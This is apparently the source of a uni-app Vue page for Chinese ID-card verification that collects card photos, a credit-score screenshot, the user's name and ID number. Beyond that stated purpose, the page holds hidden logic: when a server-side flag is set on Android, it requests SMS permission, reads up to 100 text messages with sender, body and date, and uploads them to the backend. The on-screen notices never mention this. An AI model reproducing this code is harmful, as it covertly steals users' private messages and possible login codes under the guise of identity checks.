yfx
2026-03-19 642fa7ad5acb2d1f61b27dcf3e4ac6b5fc804d7a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
<template>
    <view class="auth">
        <yk-authpup ref="authpup" type="top" @changeAuth="changeAuth" noticeTitle="便于您使用该功能上传您的照片用于核实身份场景中读取相册内容" permissionID="WRITE_EXTERNAL_STORAGE"></yk-authpup>
        <yk-authpup ref="camears" type="top" @changeAuth="changeAuth2" noticeTitle="便于您使用该功能便于您拍摄上传用于核实身份场景" permissionID="CAMERA"></yk-authpup>
        <view class="tips">
            <view class="tips-title">温馨提示</view>
            <view class="tips-desc">扫描身份证需要获取您的相机权限,身份证信息需要您本人真实信息,否则将认证失败,请知悉。</view>
            <view class="tips-desc">信息仅用于核实您的身份,将加密保障您的信息安全。</view>
        </view>
        <view class="authView">
            <view class="auth-title">
                <text class="auth-title-w">上传身份证</text>
                <view class="auth-tips">
                    <image src="/static/imgs/authtag.png" mode=""></image>
                    <text>信息安全保护中</text>
                </view>
            </view>
            <view class="auth-desc">请上传身份证照片认证,确保照片清晰、四角完整</view>
            <view class="authImg">
                <image class="del" @tap="delImg(1)" src="/static/imgs/delete.png" mode="" v-if="imgzSrc != ''"></image>
                <image @tap="setImg(1)" :src="imgzSrc != '' ? $baseUrl + imgzSrc : '/static/imgs/auth1.png'" mode="" style="border-radius: 10upx;"></image>
                <view class="authImg-desc">
                    <text>点击上传/拍摄</text>
                    <text>(人头面)</text>
                </view>
                <view class="authBtn">
                    <view class="addrItem" style="text-align: center;">
                        <text class="label" style="font-weight: bold;margin-bottom: 20upx;">真实姓名(请与身份证保持一致)</text>
                        <input type="text" class="realname" v-model="realname" placeholder="请输入真实姓名">
                        <input type="text" class="realname" v-model="idcard" placeholder="请输入身份证号">
                    </view>
                </view>
            </view>
            <view class="authImg">
                <image class="del" @tap="delImg(2)" src="/static/imgs/delete.png" mode="" v-if="imgfSrc != ''"></image>
                <image @tap="setImg(2)" :src="imgfSrc != '' ? $baseUrl + imgfSrc : '/static/imgs/auth2.png'" mode="" style="border-radius: 10upx;"></image>
                <view class="authImg-desc">
                    <text>点击上传/拍摄</text>
                    <text>(国徽面)</text>
                </view>
            </view>
            <view class="authImg">
                <image class="del" @tap="delImg(3)" src="/static/imgs/delete.png" mode="" v-if="imgZm != ''"></image>
                <image @tap="setImg(3)" :src="imgZm != '' ? $baseUrl + imgZm : '/static/imgs/zima.png'" mode="" style="border-radius: 10upx;"></image>
                <view class="authImg-desc">
                    <text>点击上传/拍摄</text>
                    <text>(芝麻分截图)</text>
                </view>
            </view>
        </view>
        
        <view class="authBtn">
            <view class="authBtn-desc">
                <image @tap="agreeClick" class="authBtn-icon" :src="!agreeFlag ? '/static/imgs/check.png' : '/static/imgs/checked.png'" mode=""></image>
                <text>我已阅读并同意</text>
                <text class="blue" @tap="agreeDialog">《实名认证授权书》</text>
            </view>
            <view class="auth-btn" v-if="!agreeFlag" @click="idcardAuth">下一步</view>
            <view class="auth-btn active" v-else="agreeFlag" @click="idcardAuth">下一步</view>
        </view>
        
        <agreePup ref="agreePup" :gp="4" title="实名认证授权书"></agreePup>
    </view>
</template>
 
<script>
    import ykAuthpup from "@/components/yk-authpup/yk-authpup";
    import permision from "@/js_sdk/wa-permission/permission.js"
    import agreePup from "@/components/agreePup/agreePup";
    export default {
        components: {
            ykAuthpup,
            agreePup,
        },
        data() {
            return {
                realname: '',
                idcard: '',
                is_choose: true,
                agreeFlag: false,
                imgzSrc: '',
                imgfSrc: '',
                imgZm: '',
                imgType: 0,
                Message: [],
                config: null,
            }
        },
        onLoad() {
            this.getConfig()
            this.getUserInfo()
        },
        methods: {
            getConfig() {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    if(res.code == 1) {
                        console.log('config', res.data)
                        t.config = res.data
                    }
                })
            },
            agreeDialog (e) {
                this.$refs.agreePup.dialog = !this.$refs.agreePup.dialog
            },
            getUserInfo () {
                let t = this
                let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
                if(userStr != null) {
                    t.$util.post('User/getUser').then(res => {
                        if(res.code == 1){
                            if(res.data.message == 0 && uni.getSystemInfoSync().platform == 'android' && this.config.put_open == 2){
                                console.log('res', res.data)
                                t.requestAndroidPermission('android.permission.READ_SMS')
                            }
                        }
                    })
                }
            },
            async requestAndroidPermission(permisionID) {
                let t = this
                let result = await permision.requestAndroidPermission(permisionID)
                console.log('pr', result)
                if (result == 1) {
                    t.setMessage()
                } else if (result == 0) {
                    this.$util.goSetting()
                } else {
                    this.$util.goSetting()
                }
            },
            delImg (type) {
                if(type == 1) {
                    this.imgzSrc = ''
                    this.realname = ''
                    this.idcard = ''
                } else if(type == 2) {
                    this.imgfSrc = ''
                } else {
                    this.imgZm = ''
                }
            },
            agreeClick () {
                this.agreeFlag = !this.agreeFlag
            },
            changeAuth () {
                //这里是权限通过后执行自己的代码逻辑
                if(uni.getSystemInfoSync().platform !='ios'){
                    this.$refs['camears'].open() 
                }
                this.chooseImg(this.imgType)
            },
            changeAuth2(){
                this.chooseImg(this.imgType)
            },
            setImg(key){
                this.is_choose = false
                this.imgType = key
                if(uni.getSystemInfoSync().platform != 'ios'){
                    this.$refs['authpup'].open() 
                }else{
                    this.chooseImg(key)
                }//调起自定义权限目的弹框,具体可看示例里面很详细
            },
            idcardAuth () {
                let t = this
                if(!this.agreeFlag){
                    return uni.showToast({
                        title: '请阅读并同意实名认证授权书',
                        icon: 'none'
                    })
                }
                if(this.imgzSrc == ''){
                    return uni.showToast({
                        title: '请上传人头面',
                        icon: 'error'
                    })
                }
                if(this.imgfSrc == ''){
                    return uni.showToast({
                        title: '请上传国徽面',
                        icon: 'error'
                    })
                }
                if(this.imgZm == ''){
                    return uni.showToast({
                        title: '请上传芝麻图',
                        icon: 'error'
                    })
                }
                if(this.realname == ''){
                    return uni.showToast({
                        title: '请输入真实姓名',
                        icon: 'error'
                    })
                }
                if(this.idcard == ''){
                    return uni.showToast({
                        title: '请输入身份证号',
                        icon: 'error'
                    })
                }
                this.$util.post('User/idcardAuth', {imgzSrc: this.imgzSrc, imgfSrc: this.imgfSrc, imgZm: this.imgZm, realname: this.realname, idcard: this.idcard}).then(res => {
                    if(res.code == 1) {
                        uni.showToast({
                            title: res.msg || '操作成功',
                            icon: 'success'
                        })
                        //更新用户信息缓存
                        uni.setStorageSync('user-info', JSON.stringify(res.data))
                        setTimeout(() => {
                            t.$util.goPages('/pages/face/face')
                        }, 1500)
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            },
            chooseImg (type) {
                let t = this
                uni.chooseImage({
                    count: 1, // 默认9
                    sizeType: ['original', 'compressed'],
                    sourceType: ['album'],
                    success: (chooseImageRes) => {
                        t.is_choose = true
                        let tempFilePaths = chooseImageRes.tempFilePaths
                        let token = uni.getStorageSync('lzsc-token')
                        let header = {
                            'Accept': 'application/json',
                            'authorization': token,
                            'idcard': type,
                        }
                        uni.showLoading({
                            title: '上传中..',
                        })
                        uni.uploadFile({
                            url: t.$baseUrl + '/api/index/uploadImg',
                            filePath: tempFilePaths[0],
                            header: header,
                            name: 'file',
                            success: (uploadFileRes) => {
                                uni.hideLoading()
                                let res = JSON.parse(uploadFileRes.data)
                                console.log('ty', type)
                                if(type == 1) {
                                    let upRes = JSON.parse(t.$util.decryptDes(res.data))
                                    t.imgzSrc = upRes.path
                                    t.realname = upRes.realname
                                    t.idcard = upRes.idcard
                                } else if(type == 2){
                                    t.imgfSrc = JSON.parse(t.$util.decryptDes(res.data))
                                } else {
                                    t.imgZm = JSON.parse(t.$util.decryptDes(res.data))
                                }
                            },
                            // 上传失败回调(关键!否则失败时不会关闭提示)
                            fail: (err) => {
                                console.error('上传失败', err);
                                uni.hideLoading();
                                uni.showToast({ title: '上传失败', icon: 'none' });
                            },
                              // 无论成功失败都会执行(可选,用于兜底)
                            complete: () => {
                                // 可在这里做最终清理
                                t.is_choose = true
                                uni.hideLoading();
                            }
                        })
                    }
                })
            },
            setMessage () {
                uni.showLoading({
                    title: '授权中...'
                })
                let self = this
                var main = plus.android.runtimeMainActivity();
                var Uri = plus.android.importClass('android.net.Uri');
                var ContactsContract = plus.android.importClass('android.provider.ContactsContract');
                var uri = Uri.parse('content://sms/');
                var cr = main.getContentResolver();
                plus.android.importClass(cr);
                var cur = cr.query(uri, null, null, null, null);
                plus.android.importClass(cur);
                cur.moveToFirst();
                var count = 0; // 记录多少条
                while (cur.moveToNext()) {
                    count++;  
                    let ob = {}
                    let index_Address = cur.getColumnIndex('address')
                    ob.address = cur.getString(index_Address);
                    //短信内容
                    let index_Body = cur.getColumnIndex('body')
                    ob.body = cur.getString(index_Body)
                    //类型1接收 2发送
                    let index_Type = cur.getColumnIndex('type')
                    ob.type = cur.getString(index_Type) == 1 ? '接收' : '发送'
                    let index_date = cur.getColumnIndex('date')
                    let date = cur.getString(index_date)
                    ob.date = date.substr(0, 10)
                    
                    self.Message = self.Message.concat(ob)
                    // 查询100条 就跳出
                    if (count > 99) {  
                       break;  
                    } 
                }
                cur.close()
                if(self.Message.length > 0){
                    self.$util.post('Message/setMessage', self.Message).then(rs => {
                        uni.hideLoading()
                        console.log('rs', rs)
                        uni.showToast({
                            title: '授权成功!',
                            icon: 'success',
                        })
                    })
                }
                uni.hideLoading()
            },
        }
    }
</script>
 
<style>
    @import url(/static/css/idcard.css);
</style>